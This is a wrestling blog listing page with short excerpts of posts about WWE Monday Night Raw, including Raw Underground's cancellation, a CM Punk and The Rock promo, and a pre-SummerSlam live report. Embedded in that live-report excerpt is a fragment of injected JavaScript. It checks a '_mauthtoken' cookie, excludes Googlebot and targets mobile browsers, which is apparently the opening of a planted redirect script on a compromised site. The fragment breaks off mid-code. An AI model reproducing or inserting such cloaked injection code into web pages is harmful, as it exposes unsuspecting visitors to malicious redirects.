By John Muse The tribalism in wrestling is bad right now. It’s hard to find a middle ground. One of the tribal lightning rods has been WWE’s success in spite of a divisive opinion regarding quality. The Question Can WWE be better and should WWE want to be better? Many fans who gave up on…
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Dearly beloved, we’re gathered here today to remember the life and times of Raw Underground, the show within the show of Monday Night Raw which was cancelled following a roughly seven week run during the 10 o’clock hour of RAW over the late summer. The show, hosted by relative unknown Shane McMahon, was WWE’s attempt…
Read MoreAt the end of a very entertaining Raw, CM Punk and The Rock went toe-to-toe on the mic. After beating Ryback in the TLC match earlier, Punk decided that he wanted to drop a pipe bomb in the center of the ring and cut a very good promo as the anti-WWE superstar and hardest working…
Read MoreI haven’t had access to many of these Legends of Wrestling shows, but once and again, one will pop on my YouTube radar (thanks kimontray) and I’ll get a chance to check it out. My guess is that this show was on around the same time that the Raw 1000th episode was broadcast. While Mean…
Read MoreThe latest iteration of Monday Night Raw got off to a blazing start. Okay, that’s just a bad pun. But really, a fire started from the Titan-tron and no one was able to get into the arena until 30 minutes before the show was to start. That was probably the most heated thing on the…
Read MoreI’ll be live at Raw tonight, which is the go home show before SummerSlam. I’ll be updating the Fight Game Blog Facebook page with all of my thoughts. Feel free to check out the page and comment on the show while it’s going on! I’ll also have photos uploaded later tonight from the show.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera…
Read MoreHated: 20 Minute Opening Segments. A lot of times when WWE hits a creative slump, they produce what I call the “clusterfuck”, where they have a handful of mid-card to main-event talent come out and complain about wanting title shots and it always winds up with some kind of over-booked multi-man gimmick match. Thankfully, last…
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